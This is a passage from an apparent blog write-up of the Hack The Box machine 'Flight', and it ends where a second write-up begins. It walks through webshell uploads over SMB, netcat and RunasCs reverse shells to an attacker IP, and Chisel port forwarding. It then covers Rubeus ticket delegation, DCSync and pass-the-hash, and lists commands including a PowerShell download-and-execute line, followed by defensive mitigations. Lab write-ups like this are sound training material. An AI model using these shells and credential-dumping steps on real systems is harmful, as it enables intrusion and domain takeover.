<ul>
<li>Successfully recovered the password for <strong>c.bum</strong></li>
</ul>
<h3><strong>Remote Code Execution via Writable Web Share</strong></h3>
<p>After compromising the <code>c.bum</code> user, I continued post-authentication enumeration.</p>
<hr />
<h3><strong>Privilege &amp; Access Review</strong></h3>
<ul>
<li><p>Password spraying with <code>c.bum</code> → no reuse</p>
</li>
<li><p>BloodHound analysis → no direct escalation paths</p>
</li>
</ul>
<p>However, I identified an important detail:</p>
<ul>
<li><code>c.bum</code> is a member of <strong>Web Devs</strong></li>
</ul>
<hr />
<h3><strong>SMB Share Permissions</strong></h3>
<p>I then checked SMB access and discovered:</p>
<ul>
<li>Write access to a share named: <code>web</code></li>
</ul>
<p>This is a major finding.</p>
<p>Upon inspection, this share corresponded directly to the <strong>web root directory</strong>, containing files for both:</p>
<ul>
<li><p><code>flight.htb</code></p>
</li>
<li><p><code>school.flight.htb</code></p>
</li>
</ul>
<hr />
<h3><strong>Attack Opportunity</strong></h3>
<p>At this point, the path was clear:</p>
<ul>
<li><p>The application uses <strong>PHP</strong></p>
</li>
<li><p>I have <strong>write access to the web directory</strong></p>
</li>
</ul>
<p>This means I can upload a <strong>PHP webshell and achieve RCE</strong></p>
<hr />
<h3><strong>Webshell Upload</strong></h3>
<p>Using SMB, I uploaded a PHP webshell into the web directory:</p>
<pre><code class="language-plaintext">smbclient //&lt;target_ip&gt;/web -U c.bum
</code></pre>
<p>Then placed the shell inside the <code>styles</code> directory:</p>
<pre><code class="language-plaintext">put wtshelly.php
</code></pre>
<hr />
<h3><strong>RCE Validation</strong></h3>
<p>I accessed the webshell via the browser:</p>
<pre><code class="language-plaintext">http://school.flight.htb/styles/wtshelly.php?cmd=whoami
</code></pre>
<p>The response returned:</p>
<ul>
<li><code>flight\svc_apache</code></li>
</ul>
<p>This confirmed:</p>
<ul>
<li><p>The webserver executes PHP ✔️</p>
</li>
<li><p>I have <strong>remote code execution</strong> ✔️</p>
</li>
</ul>
<hr />
<h3><strong>Upgrading to a Reverse Shell</strong></h3>
<p>To get a proper interactive shell, I:</p>
<ol>
<li><p>Uploaded <code>nc.exe</code> to the same directory</p>
</li>
<li><p>Started a listener on my machine:</p>
</li>
</ol>
<pre><code class="language-plaintext">rlwrap nc -nlvp 7777
</code></pre>
<ol>
<li>Triggered the reverse shell using the webshell:</li>
</ol>
<pre><code class="language-plaintext">curl http://school.flight.htb/styles/wtshelly.php \
--data-urlencode "cmd=nc.exe -e powershell.exe &lt;attacker_ip&gt; 7777"
</code></pre>
<hr />
<h3><strong>Shell Access Achieved</strong></h3>
<p>I received a reverse shell:</p>
<pre><code class="language-plaintext">PS C:\xampp\htdocs\school.flight.htb\styles&gt; whoami
flight\svc_apache
</code></pre>
<h1><strong>4. Privilege Escalation</strong></h1>
<h3><strong>Initial Enumeration (Post-Exploitation)</strong></h3>
<p>After obtaining a shell as <code>svc_apache</code>, I began standard Windows privilege escalation enumeration, starting with quick wins.</p>
<ul>
<li><p>Checked for <strong>autologon credentials</strong> → none found</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d2446f9e-e27c-40b3-a961-57fddc9ad2e8.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Checked <strong>PowerShell history</strong> → no useful data</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4318fed7-93ae-4b8c-8f01-1edb7f519b35.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<hr />
<h3><strong>Web Directory Enumeration</strong></h3>
<p>I navigated to the IIS web directory:</p>
<pre><code class="language-plaintext">cd C:\inetpub
</code></pre>
<p>I discovered a directory:</p>
<pre><code class="language-plaintext">C:\inetpub\development
</code></pre>
<p>Contents:</p>
<ul>
<li>Static web files (<code>index.html</code>, <code>contact.html</code>, etc.)</li>
</ul>
<p>Next, I checked permissions:</p>
<pre><code class="language-plaintext">icacls development
</code></pre>
<p>Key finding:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/864b3cc0-e496-4a54-93db-a91414c07757.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>flight\C.Bum:(OI)(CI)(W)</code></li>
</ul>
<p>This confirms:</p>
<ul>
<li>The <strong>c.bum user has write access to this development web directory</strong></li>
</ul>
<p>This is important because:</p>
<ul>
<li><p>I already control credentials for <code>c.bum</code></p>
</li>
<li><p>This directory is tied to a web service</p>
</li>
</ul>
<hr />
<h3><strong>Service &amp; Port Enumeration</strong></h3>
<p>I then enumerated listening services:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc301ed7-aa59-44d3-948a-1b63c2a341a4.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">netstat -ano | findstr LISTENING
</code></pre>
<p>Key observation:</p>
<ul>
<li><p>Port <strong>8000</strong> is listening on:</p>
<ul>
<li><p><code>127.0.0.1</code></p>
</li>
<li><p><code>0.0.0.0</code></p>
</li>
</ul>
</li>
</ul>
<p>This strongly suggests:</p>
<ul>
<li><p>A <strong>locally hosted web application</strong></p>
</li>
<li><p>Likely the <strong>development site</strong> I just discovered</p>
</li>
</ul>
<hr />
<h3><strong>Attack Surface Identification</strong></h3>
<p>At this point, I identified a clear opportunity:</p>
<ul>
<li><p>Internal web app (port 8000)</p>
</li>
<li><p>Writable web directory (via <code>c.bum</code>)</p>
</li>
<li><p>Potential different execution context</p>
</li>
</ul>
<p>This creates a classic scenario:</p>
<blockquote>
<p><strong>Internal service + writable content + different user context = privilege escalation vector</strong></p>
</blockquote>
<hr />
<h3><strong>Access Constraints</strong></h3>
<p>However, two limitations exist:</p>
<ol>
<li><p>The service is <strong>not externally accessible</strong></p>
</li>
<li><p>My current shell is:</p>
<ul>
<li><code>svc_apache</code> (not <code>c.bum</code>)</li>
</ul>
</li>
</ol>
<p>Windows does not allow easy user switching like Linux (<code>su</code>), so I need to work around this.</p>
<p>To proceed, I identified two required tools:</p>
<h4><strong>1. Chisel (Port Forwarding)</strong></h4>
<ul>
<li><p>Used to expose:</p>
<ul>
<li><code>localhost:8000</code> → attacker machine</li>
</ul>
</li>
<li><p>Allows me to <strong>interact with the internal web app</strong></p>
</li>
</ul>
<h4><strong>2. RunasCs (User Execution)</strong></h4>
<ul>
<li><p>Allows execution of commands as:</p>
<ul>
<li><code>c.bum</code></li>
</ul>
</li>
<li><p>This is necessary because:</p>
<ul>
<li><p><code>c.bum</code> has <strong>write access to the web directory</strong></p>
</li>
<li><p>The service may run under a <strong>different context</strong></p>
</li>
</ul>
</li>
</ul>
<h1><strong>4. Privilege Escalation</strong></h1>
<h3><strong>Accessing Internal Services as c.bum</strong></h3>
<p>At this point, I identified that port <strong>8000</strong> was running a web service bound to localhost. Since my shell was running as <code>svc_apache</code>, I needed a way to:</p>
<ol>
<li><p>Access the internal service</p>
</li>
<li><p>Operate as <code>c.bum</code> (who has write access to the web directory)</p>
</li>
</ol>
<p>To achieve this, I transferred two tools to the target:</p>
<ul>
<li><p><strong>RunasCs</strong> → execute commands as another user</p>
</li>
<li><p><strong>Chisel</strong> → port forwarding</p>
</li>
</ul>
<hr />
<h3><strong>Switching Context to c.bum</strong></h3>
<p>Using <code>RunasCs</code>, I spawned a reverse shell as <code>c.bum</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b5098a23-c73d-429d-86e8-38dec9d33305.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">.\r.exe c.bum &lt;password&gt; -r &lt;attacker_ip&gt;:9001 powershell.exe
</code></pre>
<p>Listener:</p>
<pre><code class="language-plaintext">rlwrap nc -nlvp 9001
</code></pre>
<p>Confirmed:</p>
<pre><code class="language-plaintext">whoami
flight\c.bum
</code></pre>
<hr />
<h3><strong>Forwarding Internal Port 8000</strong></h3>
<p>Next, I used Chisel to expose the internal web service:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cbc52597-4c72-4a93-9080-58fff78be167.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">.\chisel.exe client &lt;attacker_ip&gt;:8001 R:8000:127.0.0.1:8000
</code></pre>
<p>Now I could access the service locally:</p>
<pre><code class="language-plaintext">http://127.0.0.1:8000
</code></pre>
<hr />
<h3><strong>Identifying the Development Site</strong></h3>
<p>The site loaded successfully and appeared to be a development flight booking application.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6c3571f-35d4-43a1-b2ee-3918d9bada89.png" alt="" style="display:block;margin:0 auto" />

<p>Based on earlier enumeration:</p>
<ul>
<li><p>This corresponds to:</p>
<pre><code class="language-plaintext">C:\inetpub\development
</code></pre>
</li>
</ul>
<hr />
<h3><strong>Verifying Write Access</strong></h3>
<p>To confirm control, I created a test file:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9db5b69a-6d1a-49a3-8467-7aeb09c92f5d.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">echo "test" &gt; neo.txt
</code></pre>
<p>Then accessed:</p>
<pre><code class="language-plaintext">http://127.0.0.1:8000/neo.txt
</code></pre>
<p>✔ File loaded successfully → <strong>write access confirmed</strong></p>
<hr />
<h3><strong>Identifying Backend Technology</strong></h3>
<p>To determine the server-side language, I used:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e5507c4d-004e-4c78-ad78-6f6a551680ea.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">curl -I http://127.0.0.1:8000/index.html
</code></pre>
<p>Key result:</p>
<ul>
<li><code>X-Powered-By:</code> <a href="http://ASP.NET"><code>ASP.NET</code></a></li>
</ul>
<p>This confirms:</p>
<ul>
<li><p>The application uses <a href="http://ASP.NET"><strong>ASP.NET</strong></a> <strong>/ IIS</strong></p>
</li>
<li><p>PHP payloads will <strong>not work here</strong></p>
</li>
</ul>
<hr />
<h3><strong>ASPX Webshell Upload</strong></h3>
<p>With confirmed write access and <a href="http://ASP.NET">ASP.NET</a> backend, I uploaded an <strong>ASPX webshell</strong>.</p>
<p>Steps:</p>
<ol>
<li><p>Upload shell via SMB</p>
</li>
<li><p>Copy into web root:</p>
</li>
</ol>
<pre><code class="language-plaintext">cp \xampp\htdocs\shell.aspx shell.aspx
</code></pre>
<hr />
<h3><strong>RCE Confirmation</strong></h3>
<p>I navigated to:</p>
<pre><code class="language-plaintext">http://127.0.0.1:8000/shell.aspx
</code></pre>
<p>Executed:</p>
<pre><code class="language-plaintext">whoami
</code></pre>
<p>Result:</p>
<pre><code class="language-plaintext">iis apppool\defaultapppool
</code></pre>
<hr />
<h3><strong>Abusing IIS AppPool Identity</strong></h3>
<p>After achieving RCE via the ASPX webshell, I began enumerating the execution context:</p>
<pre><code class="language-plaintext">whoami
</code></pre>
<p>Result:</p>
<pre><code class="language-plaintext">iis apppool\defaultapppool
</code></pre>
<hr />
<h3><strong>Understanding the Context</strong></h3>
<p>At first glance, this appears to be a low-privileged service account. However, IIS AppPool identities can be misleading.</p>
<p>To better understand its privileges, I attempted to coerce authentication:</p>
<pre><code class="language-plaintext">\\10.10.14.123\whatever
</code></pre>
<p>This triggered an outbound authentication request captured via Responder.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/13c1c1f4-2c36-4051-ad29-51e504004392.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3><strong>Captured NTLM Authentication</strong></h3>
<p>Responder captured:</p>
<ul>
<li>Username: <code>flight\G0$</code></li>
</ul>
<p>This is a critical finding.</p>
<p>The <code>$</code> suffix indicates:</p>
<ul>
<li><p>This is a <strong>machine account</strong></p>
</li>
<li><p>Specifically, the <strong>domain controller (G0)</strong></p>
</li>
</ul>
<hr />
<h3><strong>Key Insight</strong></h3>
<p>This tells me:</p>
<ul>
<li><p>The IIS process is running in a context capable of authenticating as the <strong>machine account</strong></p>
</li>
<li><p>This is far more powerful than a normal service account</p>
</li>
</ul>
<p>However—this is where precision matters:</p>
<p>This does <strong>NOT automatically mean SYSTEM</strong></p>
<p>It means the process has access to <strong>machine-level credentials/tokens</strong></p>
<hr />
<h3><strong>Attack Direction: Kerberos Delegation Abuse</strong></h3>
<p>Since I can coerce authentication as the machine account, I can potentially:</p>
<ul>
<li><p>Request Kerberos tickets</p>
</li>
<li><p>Abuse delegation mechanisms</p>
</li>
</ul>
<p>This leads to a known attack path:</p>
<blockquote>
<p><strong>Use Rubeus to request and leverage machine account tickets → perform DCSync</strong></p>
</blockquote>
<h3><strong>Abusing Machine Account via IIS AppPool</strong></h3>
<p>After confirming that the IIS AppPool context could authenticate as the machine account (<code>G0$</code>), I moved to abuse this using Kerberos delegation.</p>
<p>To do this, I transferred <strong>Rubeus</strong> to the target:</p>
<pre><code class="language-plaintext">wget http://&lt;attacker_ip&gt;/rubeus.exe -outfile rubeus.exe
</code></pre>
<hr />
<h3><strong>Requesting Delegation TGT</strong></h3>
<p>I used Rubeus to perform delegation abuse:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3c447a1a-ccea-45cb-9172-04abe170bdbf.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">.\rubeus.exe tgtdeleg /nowrap
</code></pre>
<p>This resulted in:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/29567f03-f53e-4b86-b6c6-eadfe9c174f6.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>A <strong>delegated Kerberos TGT</strong></p>
</li>
<li><p>Output in <strong>base64 format</strong></p>
</li>
</ul>
<hr />
<h3><strong>Extracting and Preparing the Ticket</strong></h3>
<p>I copied the base64 ticket and converted it:</p>
<pre><code class="language-plaintext">base64 -d ticket &gt; ticket.kirbi
</code></pre>
<p>Then converted it into a format usable by Impacket:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1228bfa-bd86-4823-90b5-f0f86a955561.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">impacket-ticketConverter ticket.kirbi ticket.ccache
</code></pre>
<p>Exported the ticket:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ec83cd42-495f-46db-afe3-9598eb4cdd78.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">export KRB5CCNAME=ticket.ccache
</code></pre>
<p>This allows all Kerberos-aware tools to use the ticket</p>
<hr />
<h3><strong>DCSync via Kerberos Ticket</strong></h3>
<p>With a valid delegated ticket, I performed a DCSync:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/087b815a-5e32-452a-ab4e-a1471c93501d.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">impacket-secretsdump -k -no-pass g0.flight.htb
</code></pre>
<p>Result:</p>
<ul>
<li><p>Dumped NTDS secrets</p>
</li>
<li><p>Retrieved hashes for:</p>
<ul>
<li><p><code>Administrator</code></p>
</li>
<li><p><code>krbtgt</code></p>
</li>
<li><p>other domain users</p>
</li>
</ul>
</li>
</ul>
<hr />
<h3><strong>Domain Administrator Compromise</strong></h3>
<p>From the output, I extracted the <strong>Administrator NTLM hash</strong>:</p>
<pre><code class="language-plaintext">Administrator:...:&lt;NTLM_HASH&gt;
</code></pre>
<p>Then used Pass-the-Hash:</p>
<pre><code class="language-plaintext">impacket-psexec administrator@10.129.228.120 -hashes :&lt;NTLM_HASH&gt;
</code></pre>
<hr />
<h3><strong>Final Access</strong></h3>
<p>Shell obtained:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8f294f4e-e046-4994-aad8-a334cb072040.png" alt="" style="display:block;margin:0 auto" />

<p>This completes full domain compromise:</p>
<ul>
<li><p>✔ Initial foothold via web</p>
</li>
<li><p>✔ Credential harvesting via LFI + NTLM capture</p>
</li>
<li><p>✔ Lateral movement via SMB + password reuse</p>
</li>
<li><p>✔ RCE via writable web directory</p>
</li>
<li><p>✔ Machine account abuse via IIS</p>
</li>
<li><p>✔ Kerberos delegation → DCSync</p>
</li>
<li><p>✔ Domain Admin → SYSTEM</p>
</li>
</ul>
<hr />
<h1><strong>5. Lessons Learned</strong></h1>
<h3><strong>1.LFI on Windows Has Predictable High-Value Targets</strong></h3>
<p>When exploiting LFI on Windows systems, there are a few reliable files to check immediately:</p>
<ul>
<li><p>C:\Windows\win.ini → quick validation of file read</p>
</li>
<li><p>C:\Windows\System32\drivers\etc\hosts → reveals internal hostnames</p>
</li>
</ul>
<p>These are consistent, low-effort checks that provide immediate value.</p>
<h3><strong>2. Always Test LFI → RFI Immediately</strong></h3>
<p>After confirming LFI, the next step is to test for Remote File Inclusion (RFI).</p>
<ul>
<li><p>LFI = reading local files</p>
</li>
<li><p>RFI = including remote files</p>
</li>
</ul>
<p>Important distinction:</p>
<p><strong>Being able to include a file does not guarantee code execution.</strong></p>
<p>If the backend uses functions like file_get_contents, the result will be:</p>
<p>File contents only</p>
<p>No execution of embedded code</p>
<h3><strong>3. RFI + SMB = Credential Capture</strong></h3>
<p>RFI becomes significantly more powerful when SMB is involved.</p>
<p>By pointing the target to an attacker-controlled host:</p>
<ul>
<li><p>The system attempts authentication over SMB</p>
</li>
<li><p>This allows capture of <strong>NetNTLMv2 challenge/response</strong></p>
</li>
</ul>
<p>This is a reliable method to convert file inclusion into credentials.</p>
<h3>4. Writable SMB Shares Enable NTLM Theft</h3>
<p>Writable SMB shares are not just storage—they are an attack vector.</p>
<p>With write access, I was able to:</p>
<ul>
<li><p>Drop crafted files (.url, .lnk, etc.)</p>
</li>
<li><p>Trigger authentication when accessed by other users</p>
</li>
<li><p>Capture NTLM credentials via Responder</p>
</li>
</ul>
<p>This technique is commonly referred to as:</p>
<p><strong>NTLM coercion / NTLM theft via file-based triggers</strong></p>
<h3><strong>5. File Write on Web Servers = Likely RCE</strong></h3>
<p>A key mindset shift:</p>
<ul>
<li><p>Writing to random shares → limited value</p>
</li>
<li><p>Writing to a web root directory → potential RCE</p>
</li>
</ul>
<p>Once I identified:</p>
<ul>
<li><p>Write access to the web directory</p>
</li>
<li><p>A dynamic backend</p>
</li>
</ul>
<p>The path was clear:</p>
<p>Upload webshell → execute via browser → gain code execution</p>
<h3>6. A Shell Is More Valuable Than Credentials Alone</h3>
<p>Compromising users is not the end goal.</p>
<p>To make real progress, you need:</p>
<ul>
<li><p>A local shell on the target</p>
</li>
<li><p>Ability to enumerate:</p>
</li>
<li><p>Files</p>
</li>
<li><p>Services</p>
</li>
<li><p>Permissions</p>
</li>
<li><p>Network activity</p>
</li>
</ul>
<p><strong>Real control begins once you are operating locally.</strong></p>
<h3>7. Internal Services Matter More Than External Ones</h3>
<p>External scans do not reveal everything.</p>
<p>Using:</p>
<p>netstat -ano</p>
<p>I identified:</p>
<p>Services bound to localhost (e.g., port 8000)</p>
<p>Internal-only services are often:</p>
<p>Poorly secured</p>
<p>Meant for development</p>
<p>High-value escalation paths</p>
<h3>8. Always Re-Enumerate Web Directories Locally</h3>
<p>Even if web enumeration was done earlier, it must be repeated after gaining access.</p>
<p>Key directories:</p>
<p>C:\inetpub\ → IIS default</p>
<p>C:\xampp\htdocs\ → XAMPP</p>
<p><strong>These are the Windows equivalents of /var/www</strong></p>
<h3>9. Chisel Is Essential Without SSH</h3>
<p>Windows environments often lack SSH.</p>
<p>To access internal services:</p>
<p>Use Chisel for port forwarding</p>
<p>Expose localhost services to your attacker machine</p>
<p>This is critical for interacting with internal-only applications.</p>
<h3>10. Identifying Backend Technology Is Critical</h3>
<p>Using:</p>
<p>curl -I <a href="http://target">http://target</a></p>
<p>I identified:</p>
<p>X-Powered-By: ASP.NET</p>
<p><strong>This determines:</strong></p>
<p>What payloads will work</p>
<p>What type of webshell to use</p>
<p>In this case:</p>
<p>PHP payloads would fail</p>
<p>ASPX webshells were required</p>
<h3>11. SMB Is a Reliable File Transfer Method</h3>
<p>With write access:</p>
<p>SMB can be used to:</p>
<p>Upload tools</p>
<p>Transfer binaries</p>
<p>Place webshells directly</p>
<p>Simple, stable, and often the easiest option.</p>
<h3>12. IIS AppPool Identity Behavior</h3>
<p>Important clarification:</p>
<p>IIS APPPOOL\DefaultAppPool is not SYSTEM</p>
<p>However, it can authenticate as the machine account over the network</p>
<p>This is why authentication appeared as:</p>
<p>G0$</p>
<p><strong>This behavior enables advanced attacks.</strong></p>
<h3>13. Machine Accounts Can Be Abused for Kerberos Attacks</h3>
<p>Once operating in a context that can act as a machine account:</p>
<p>Kerberos delegation can be abused</p>
<p>Tools like Rubeus can request tickets</p>
<p>Result:</p>
<p>.kirbi ticket obtained</p>
<p>Can be reused for authentication</p>
<h3>14. Kerberos Ticket Reuse (Pass-the-Ticket)</h3>
<p>Workflow learned:</p>
<p>Extract ticket (base64 → .kirbi)</p>
<p>Convert to .ccache</p>
<p>Export:</p>
<p>export KRB5CCNAME=ticket.ccache</p>
<p>Use with Kerberos-enabled tools</p>
<p><strong>This allows authentication without needing credentials</strong></p>
<h3>Final Reflection</h3>
<p>This machine reinforced a core principle:</p>
<p>Real attacks are built by chaining multiple small weaknesses together.</p>
<p>LFI → credentials</p>
<p>SMB → lateral movement</p>
<p>Web write → RCE</p>
<p>Internal services → escalation</p>
<p>Kerberos → domain takeover</p>
<p>Individually, these are minor Combined, they result in full compromise.</p>
<h1>6. Defensive Insights</h1>
<h3>1. Improper Input Validation Enables LFI/RFI</h3>
<p>The application passes user-controlled input directly into a file parameter (view) without proper validation.</p>
<p><strong>Impact:</strong></p>
<ul>
<li><p>Allows Local File Inclusion (LFI)</p>
</li>
<li><p>Can escalate to Remote File Inclusion (RFI)</p>
</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Enforce strict input validation and whitelisting</p>
</li>
<li><p>Never pass user input directly into file operations</p>
</li>
<li><p>Restrict file access to predefined safe directories</p>
</li>
</ul>
<hr />
<h3>2. Outbound SMB Authentication Leads to Credential Leakage</h3>
<p>The server is able to initiate SMB connections to external systems.</p>
<p><strong>Impact:</strong></p>
<ul>
<li>Attackers can coerce authentication and capture NetNTLMv2 hashes</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Block outbound SMB (TCP 445)</p>
</li>
<li><p>Enforce SMB signing</p>
</li>
<li><p>Disable NTLM where possible and prefer Kerberos</p>
</li>
</ul>
<hr />
<h3>3. Over-Permissive SMB Shares Enable NTLM Theft</h3>
<p>Users are granted write access to SMB shares that are accessible by others.</p>
<p><strong>Impact:</strong></p>
<ul>
<li><p>Attackers can plant malicious files (.lnk, .url, .scf)</p>
</li>
<li><p>Leads to credential theft when accessed</p>
</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Apply least privilege to all SMB shares</p>
</li>
<li><p>Restrict write access to only what is absolutely necessary</p>
</li>
<li><p>Monitor for suspicious file types and activity</p>
</li>
</ul>
<hr />
<h3>4. Password Reuse Enables Lateral Movement</h3>
<p>Multiple accounts reuse the same password.</p>
<p><strong>Impact:</strong></p>
<ul>
<li>A single compromised credential leads to multiple compromised users</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Enforce unique passwords per account</p>
</li>
<li><p>Implement strong password policies</p>
</li>
<li><p>Use account lockout protections</p>
</li>
</ul>
<hr />
<h3>5. Web Root Write Access Leads Directly to RCE</h3>
<p>A user is allowed to write directly to a web-accessible directory.</p>
<p><strong>Impact:</strong></p>
<ul>
<li>Attackers can upload webshells and execute arbitrary code</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Remove write access to web roots for non-admin users</p>
</li>
<li><p>Separate content management from execution paths</p>
</li>
<li><p>Monitor for unexpected file uploads</p>
</li>
</ul>
<hr />
<h3>6. Internal-Only Services Are Not Safe by Default</h3>
<p>A web service running on localhost (port 8000) is assumed to be safe because it is not externally exposed.</p>
<p><strong>Impact:</strong></p>
<ul>
<li><p>Attackers with a foothold can access it via port forwarding</p>
</li>
<li><p>Internal services become escalation vectors</p>
</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Treat internal services as untrusted</p>
</li>
<li><p>Require authentication and authorization</p>
</li>
<li><p>Restrict access with firewall rules</p>
</li>
</ul>
<hr />
<h3>7. IIS Configuration Allows Dangerous Execution Context</h3>
<p>The IIS application allows execution of user-controlled ASPX files.</p>
<p><strong>Impact:</strong></p>
<ul>
<li>Attackers gain code execution within the IIS AppPool context</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Disable script execution where not required</p>
</li>
<li><p>Restrict which directories can execute code</p>
</li>
<li><p>Run application pools with minimal privileges</p>
</li>
</ul>
<hr />
<h3>8. Lack of Network Segmentation Enables Domain Access</h3>
<p>The compromised system can freely communicate with domain services.</p>
<p><strong>Impact:</strong></p>
<ul>
<li>Enables Kerberos abuse and DCSync attacks</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Implement network segmentation</p>
</li>
<li><p>Restrict communication between web servers and domain controllers</p>
</li>
<li><p>Enforce strict firewall policies</p>
</li>
</ul>
<hr />
<h3>9. Kerberos Delegation Can Be Abused</h3>
<p>The environment allows delegation abuse via machine account context.</p>
<p><strong>Impact:</strong></p>
<ul>
<li>Attackers can obtain Kerberos tickets and perform DCSync</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Audit and restrict delegation settings</p>
</li>
<li><p>Monitor Kerberos activity for anomalies</p>
</li>
<li><p>Limit privileges assigned to machine accounts</p>
</li>
</ul>
<hr />
<h3>10. Lack of Monitoring Allows Full Attack Chain Execution</h3>
<p>There is no effective detection across multiple attack stages.</p>
<p><strong>Impact:</strong></p>
<ul>
<li>Attackers move from initial access to full domain compromise undetected</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>Implement centralized logging (SIEM)</p>
</li>
<li><p>Monitor for:</p>
<ul>
<li><p>Suspicious SMB authentication</p>
</li>
<li><p>Webshell uploads</p>
</li>
<li><p>Abnormal process execution</p>
</li>
</ul>
</li>
<li><p>Enable PowerShell logging and auditing</p>
</li>
</ul>
<hr />
<h3>Final Defensive Perspective</h3>
<p>This environment is not compromised by one major flaw—it is compromised by a chain of small, preventable issues:</p>
<ul>
<li><p>Weak input validation</p>
</li>
<li><p>Over-permissioned access</p>
</li>
<li><p>Poor credential hygiene</p>
</li>
<li><p>Trust in internal services</p>
</li>
<li><p>Lack of monitoring</p>
</li>
</ul>
<p>Security breaks down when basic controls are ignored. Tighten the fundamentals, and the entire attack chain falls apart.</p>
<h2>7. Useful Commands</h2>
<hr />
<h3>VHost Fuzzing (ffuf)</h3>
<pre><code class="language-plaintext">ffuf -u http://flight.htb -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
</code></pre>
<h3>LFI Testing</h3>
<pre><code class="language-plaintext">http://school.flight.htb/index.php?view=C:\Windows\win.ini
</code></pre>
<h3>SMB Enumeration</h3>
<pre><code class="language-plaintext">nxc smb 10.129.9.50 -u svc_apache -p 'S@sS!K0x+13' --users
</code></pre>
<h3>Password Spraying</h3>
<pre><code class="language-plaintext">nxc smb 10.129.9.50 -u user.txt -p 'S@sS!K0x+13' --continue-on-success
</code></pre>
<h3>NTLM Theft</h3>
<pre><code class="language-plaintext">python3 ntlm_theft.py -g all -s 10.10.14.123 -f neo
</code></pre>
<h3>RunasCs Reverse Shell (c.bum)</h3>
<pre><code class="language-plaintext">.\r.exe c.bum Tikkycoll_431012284 -r 10.10.14.123:9001 powershell.exe
</code></pre>
<h3>Chisel Port Forward</h3>
<pre><code class="language-plaintext">.\chisel.exe client 10.10.14.123:8001 R:8000:127.0.0.1:8000
</code></pre>
<h3>Rubeus Ticket Delegation Attack</h3>
<pre><code class="language-plaintext">.\rubeus.exe tgtdeleg /nowrap
</code></pre>
<h3>Convert Ticket</h3>
<p><strong>Executed:</strong></p>
<pre><code class="language-plaintext">base64 -d ticket.b64 &gt; ticket.kirbi
</code></pre>
<pre><code class="language-plaintext">impacket-ticketConverter ticket.kirbi ticket.ccache
</code></pre>
<pre><code class="language-plaintext">export KRB5CCNAME=ticket.ccache
</code></pre>
<h3>BloodHound Collection (NetExec)</h3>
<pre><code class="language-plaintext">nxc ldap 10.129.9.50 -u 'svc_apache' -p 'S@sS!K0x+13' --bloodhound --collection All
</code></pre>
<h3>Download and Execute PowerShell Script In Memory</h3>
<pre><code class="language-plaintext">powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.123/shell.ps1')"
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #11
 HTB Write-Up Chatterbox]]></title><description><![CDATA[1. Target Overview
Machine Name: ChatterboxPlatform: HackTheBoxOperating System: Windows
Objective:Chatterbox is a Windows-based Hack The Box machine that exposes several typical Windows networking se]]></description><link>https://www.hack2harden.com/oscp-prep-11-htb-write-up-chatterbox</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-11-htb-write-up-chatterbox</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Tue, 17 Mar 2026 22:38:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6e3b389c-8710-43f4-992c-401aab26439a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Chatterbox<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows</p>
